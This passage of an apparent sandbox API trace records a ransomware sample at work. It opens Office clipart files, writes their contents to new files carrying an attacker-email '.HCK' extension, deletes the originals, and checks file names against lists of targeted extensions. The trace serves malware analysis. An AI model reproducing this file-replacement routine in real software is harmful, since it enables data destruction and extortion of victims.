(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.252] lstrlenW (lpString=".jpg") returned 4 [0169.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.252] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.252] lstrlenW (lpString="J0157831.WMF") returned 12 [0169.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0169.258] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11396) returned 1 [0169.258] CloseHandle (hObject=0x308) returned 1 [0169.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 0x220 [0169.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.274] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.274] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.280] GetLastError () returned 0x0 [0169.280] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2c84, lpOverlapped=0x0) returned 1 [0169.283] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2c90, lpOverlapped=0x0) returned 1 [0169.284] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.284] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.284] SetEndOfFile (hFile=0x388) returned 1 [0169.288] CloseHandle (hObject=0x388) returned 1 [0169.291] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.292] SetEndOfFile (hFile=0x378) returned 1 [0169.298] CloseHandle (hObject=0x378) returned 1 [0169.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 1 [0169.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.300] lstrlenW (lpString=".doc") returned 4 [0169.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.300] lstrlenW (lpString=".docx") returned 5 [0169.300] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0169.300] lstrlenW (lpString=".pdf") returned 4 [0169.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.300] lstrlenW (lpString=".xls") returned 4 [0169.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.300] lstrlenW (lpString=".xlsx") returned 5 [0169.300] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0169.300] lstrlenW (lpString=".ppt") returned 4 [0169.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString=".zip") returned 4 [0169.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.301] lstrlenW (lpString=".rar") returned 4 [0169.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString=".bz2") returned 4 [0169.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString=".7z") returned 3 [0169.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString=".dbf") returned 4 [0169.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString=".1cd") returned 4 [0169.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString=".jpg") returned 4 [0169.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString=".doc") returned 4 [0169.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString=".docx") returned 5 [0169.301] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0169.301] lstrlenW (lpString=".pdf") returned 4 [0169.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString=".xls") returned 4 [0169.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.301] lstrlenW (lpString=".xlsx") returned 5 [0169.301] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0169.301] lstrlenW (lpString=".ppt") returned 4 [0169.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString=".zip") returned 4 [0169.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.301] lstrlenW (lpString=".rar") returned 4 [0169.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString=".bz2") returned 4 [0169.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString=".7z") returned 3 [0169.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString=".dbf") returned 4 [0169.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.301] lstrlenW (lpString=".1cd") returned 4 [0169.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0169.302] lstrlenW (lpString=".jpg") returned 4 [0169.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.302] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.302] lstrlenW (lpString="J0164153.JPG") returned 12 [0169.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.308] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=46484) returned 1 [0169.308] CloseHandle (hObject=0x388) returned 1 [0169.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 0x220 [0169.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.322] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.322] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.333] GetLastError () returned 0x0 [0169.333] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb594, lpOverlapped=0x0) returned 1 [0169.336] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb5a0, lpOverlapped=0x0) returned 1 [0169.337] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.337] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.337] SetEndOfFile (hFile=0x368) returned 1 [0169.341] CloseHandle (hObject=0x368) returned 1 [0169.344] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.344] SetEndOfFile (hFile=0x388) returned 1 [0169.348] CloseHandle (hObject=0x388) returned 1 [0169.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 1 [0169.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.351] lstrlenW (lpString=".doc") returned 4 [0169.351] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.351] lstrlenW (lpString=".docx") returned 5 [0169.351] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0169.351] lstrlenW (lpString=".pdf") returned 4 [0169.351] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.351] lstrlenW (lpString=".xls") returned 4 [0169.351] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.351] lstrlenW (lpString=".xlsx") returned 5 [0169.351] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0169.351] lstrlenW (lpString=".ppt") returned 4 [0169.351] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.351] lstrlenW (lpString=".zip") returned 4 [0169.351] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.351] lstrlenW (lpString=".rar") returned 4 [0169.351] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.351] lstrlenW (lpString=".bz2") returned 4 [0169.351] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.351] lstrlenW (lpString=".7z") returned 3 [0169.351] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString=".dbf") returned 4 [0169.352] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString=".1cd") returned 4 [0169.352] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString=".jpg") returned 4 [0169.352] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString=".doc") returned 4 [0169.352] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.352] lstrlenW (lpString=".docx") returned 5 [0169.352] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0169.352] lstrlenW (lpString=".pdf") returned 4 [0169.352] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.352] lstrlenW (lpString=".xls") returned 4 [0169.352] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.352] lstrlenW (lpString=".xlsx") returned 5 [0169.352] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0169.352] lstrlenW (lpString=".ppt") returned 4 [0169.352] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString=".zip") returned 4 [0169.352] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.352] lstrlenW (lpString=".rar") returned 4 [0169.352] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.352] lstrlenW (lpString=".bz2") returned 4 [0169.352] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.352] lstrlenW (lpString=".7z") returned 3 [0169.352] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString=".dbf") returned 4 [0169.352] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString=".1cd") returned 4 [0169.352] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0169.352] lstrlenW (lpString=".jpg") returned 4 [0169.352] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.352] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.352] lstrlenW (lpString="J0172035.WMF") returned 12 [0169.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.363] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7448) returned 1 [0169.363] CloseHandle (hObject=0x330) returned 1 [0169.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 0x220 [0169.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.375] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.375] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.382] GetLastError () returned 0x0 [0169.382] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1d18, lpOverlapped=0x0) returned 1 [0169.383] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1d20, lpOverlapped=0x0) returned 1 [0169.384] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.384] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.384] SetEndOfFile (hFile=0x330) returned 1 [0169.387] CloseHandle (hObject=0x330) returned 1 [0169.388] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.388] SetEndOfFile (hFile=0x388) returned 1 [0169.391] CloseHandle (hObject=0x388) returned 1 [0169.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 1 [0169.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.395] lstrlenW (lpString=".doc") returned 4 [0169.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.395] lstrlenW (lpString=".docx") returned 5 [0169.395] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.395] lstrlenW (lpString=".pdf") returned 4 [0169.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.395] lstrlenW (lpString=".xls") returned 4 [0169.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.395] lstrlenW (lpString=".xlsx") returned 5 [0169.395] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.395] lstrlenW (lpString=".ppt") returned 4 [0169.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.396] lstrlenW (lpString=".zip") returned 4 [0169.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.396] lstrlenW (lpString=".rar") returned 4 [0169.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString=".bz2") returned 4 [0169.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString=".7z") returned 3 [0169.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.396] lstrlenW (lpString=".dbf") returned 4 [0169.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.396] lstrlenW (lpString=".1cd") returned 4 [0169.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.396] lstrlenW (lpString=".jpg") returned 4 [0169.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.396] lstrlenW (lpString=".doc") returned 4 [0169.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString=".docx") returned 5 [0169.396] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.396] lstrlenW (lpString=".pdf") returned 4 [0169.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString=".xls") returned 4 [0169.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.396] lstrlenW (lpString=".xlsx") returned 5 [0169.396] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.396] lstrlenW (lpString=".ppt") returned 4 [0169.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.396] lstrlenW (lpString=".zip") returned 4 [0169.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.396] lstrlenW (lpString=".rar") returned 4 [0169.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString=".bz2") returned 4 [0169.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.396] lstrlenW (lpString=".7z") returned 3 [0169.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.396] lstrlenW (lpString=".dbf") returned 4 [0169.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.397] lstrlenW (lpString=".1cd") returned 4 [0169.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0169.397] lstrlenW (lpString=".jpg") returned 4 [0169.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.397] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.397] lstrlenW (lpString="J0174635.WMF") returned 12 [0169.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 